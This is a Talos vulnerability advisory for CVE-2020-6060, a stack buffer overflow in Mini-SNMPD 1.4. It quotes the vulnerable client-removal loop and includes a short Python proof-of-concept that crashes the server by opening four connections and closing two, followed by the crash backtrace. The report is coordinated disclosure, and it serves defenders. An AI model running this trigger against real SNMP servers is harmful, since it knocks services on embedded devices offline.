Talos Vulnerability Report

TALOS-2020-0977

# Mini-SNMPD socket disconnect denial-of-service vulnerability

FEBRUARY 3, 2020

### CVE NUMBER

CVE-2020-6060

### Summary

A stack buffer overflow vulnerability exists in the way MiniSNMPD version 1.4 handles multiple connections. A specially timed sequence of SNMP connections can trigger a stack overflow, resulting in a denial of service. To trigger this vulnerability, an attacker needs to simply initiate multiple connections to the server.

### Tested Versions

Mini-SNMPD 1.4

### Product URLs

https://troglobit.com/projects/mini-snmpd/

### CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### CWE

CWE-121: Stack-based Buffer Overflow

### Details

Mini-SNMPD is a lightweight implementation of a Simple Network Management Protocol server. Its small code size and memory footprint make it especially suitable for small and embedded devices. It is used, for example, by a number of devices based on OpenWRT project.

To handle multiple simultaneous connections, Mini-SNMPD uses `select` to monitor multiple file descriptors. Helper function `FD_SET` is used to add file descriptors to the monitored set. The array that stores the set of file descriptors is usually allocated on the stack and is of limited size, so a potential for stack overflows an underflows exists.

Following code from Mini-SNMPD deals with removing disconnected sockets from a list:

```
/* If there was a TCP disconnect, remove the client from the list */
for (i = 0; i < g_tcp_client_list_length; i++) {
  if (g_tcp_client_list[i]->sockfd == -1) {
    g_tcp_client_list_length--;
    if (i < g_tcp_client_list_length) {
      size_t len = (g_tcp_client_list_length - i) * sizeof(g_tcp_client_list[i]);

      free(g_tcp_client_list[i]);
      memmove(&g_tcp_client_list[i], &g_tcp_client_list[i + 1], len);
    }
  }
}
```

The above code goes through a list of TCP clients and removes them from a list if their sockets have been closed. However, the length of the list `g_tcp_client_list_length` is decremented inside the loop, before the comparison against loop counter is made. If multiple sockets have been closed, this would result in not all of them being removed from the list. The list would contain a closed socket whose file descriptor is set to `-1`.

Next time the server loops around to `select` and `FD_SET` calls, it will try to call `FD_SET` on a file descriptor of `-1` which would in effect try to write before the allocated set array resulting in a stack overflow. This happens in the following code:

```
  for (i = 0; i < g_tcp_client_list_length; i++) {
    if (g_tcp_client_list[i]->outgoing)
      FD_SET(g_tcp_client_list[i]->sockfd, &wfds);
    else
      FD_SET(g_tcp_client_list[i]->sockfd, &rfds);

    if (nfds < g_tcp_client_list[i]->sockfd)
      nfds = g_tcp_client_list[i]->sockfd;
  }
```

This type of a stack overflow was a common problem and standard C libraries include a check which triggers stack buffer overflow detection and process termination. To trigger this bug, the following code can be used:

```
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((sys.argv[1],int(sys.argv[2])))
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1],int(sys.argv[2])))
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((sys.argv[1],int(sys.argv[2])))
s4 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s4.connect((sys.argv[1],int(sys.argv[2])))
s1.close()
s3.close()
```

Running the above code against Mini-SNMPD server results in the following crash:

```
*** buffer overflow detected ***: ./mini_snmpd terminated
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f422d97b7e5]
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x5c)[0x7f422da1d15c]
/lib/x86_64-linux-gnu/libc.so.6(+0x117160)[0x7f422da1b160]
/lib/x86_64-linux-gnu/libc.so.6(+0x1190a7)[0x7f422da1d0a7]
./mini_snmpd[0x4022c1]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f422d924830]
./mini_snmpd[0x4033a9]
======= Memory map: ========
00400000-0040d000 r-xp 00000000 08:01 1036631                            /home/anikolich/snmpfuzzing/coverage/mini-snmpd/mini_snmpd
0060c000-0060d000 r--p 0000c000 08:01 1036631                            /home/anikolich/snmpfuzzing/coverage/mini-snmpd/mini_snmpd
0060d000-0060e000 rw-p 0000d000 08:01 1036631                            /home/anikolich/snmpfuzzing/coverage/mini-snmpd/mini_snmpd
0060e000-00613000 rw-p 00000000 00:00 0
01267000-01288000 rw-p 00000000 00:00 0                                  [heap]
7f422d6ec000-7f422d703000 r-xp 00000000 08:01 3177717                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f422d703000-7f422d902000 ---p 00017000 08:01 3177717                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f422d902000-7f422d903000 r--p 00016000 08:01 3177717                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f422d903000-7f422d904000 rw-p 00017000 08:01 3177717                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f422d904000-7f422dac4000 r-xp 00000000 08:01 2915650                    /lib/x86_64-linux-gnu/libc-2.23.so
7f422dac4000-7f422dcc4000 ---p 001c0000 08:01 2915650                    /lib/x86_64-linux-gnu/libc-2.23.so
7f422dcc4000-7f422dcc8000 r--p 001c0000 08:01 2915650                    /lib/x86_64-linux-gnu/libc-2.23.so
7f422dcc8000-7f422dcca000 rw-p 001c4000 08:01 2915650                    /lib/x86_64-linux-gnu/libc-2.23.so
7f422dcca000-7f422dcce000 rw-p 00000000 00:00 0
7f422dcce000-7f422dcd9000 r-xp 00000000 08:01 11798719                   /usr/lib/x86_64-linux-gnu/libconfuse.so.0.0.0
7f422dcd9000-7f422ded8000 ---p 0000b000 08:01 11798719                   /usr/lib/x86_64-linux-gnu/libconfuse.so.0.0.0
7f422ded8000-7f422ded9000 r--p 0000a000 08:01 11798719                   /usr/lib/x86_64-linux-gnu/libconfuse.so.0.0.0
7f422ded9000-7f422deda000 rw-p 0000b000 08:01 11798719                   /usr/lib/x86_64-linux-gnu/libconfuse.so.0.0.0
7f422deda000-7f422df00000 r-xp 00000000 08:01 2915636                    /lib/x86_64-linux-gnu/ld-2.23.so
7f422e0d7000-7f422e0db000 rw-p 00000000 00:00 0
7f422e0fe000-7f422e0ff000 rw-p 00000000 00:00 0
7f422e0ff000-7f422e100000 r--p 00025000 08:01 2915636                    /lib/x86_64-linux-gnu/ld-2.23.so
7f422e100000-7f422e101000 rw-p 00026000 08:01 2915636                    /lib/x86_64-linux-gnu/ld-2.23.so
7f422e101000-7f422e102000 rw-p 00000000 00:00 0
7ffcbd6bc000-7ffcbd6dd000 rw-p 00000000 00:00 0                          [stack]
7ffcbd6f7000-7ffcbd6fa000 r--p 00000000 00:00 0                          [vvar]
7ffcbd6fa000-7ffcbd6fc000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Aborted
```

The above crash comes from `__FD_ELT` helper in the standard C library which tries to ensure that the file descriptor isn't negative and isn't bigger than the set size. If either of those two fail, process is terminated.

### Timeline

2020-01-21 - Vendor Disclosure

2020-01-30 - Patch provided to vendor

2020-02-03 - Public Release

### CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2020-0976

NEXT REPORT

TALOS-2020-0975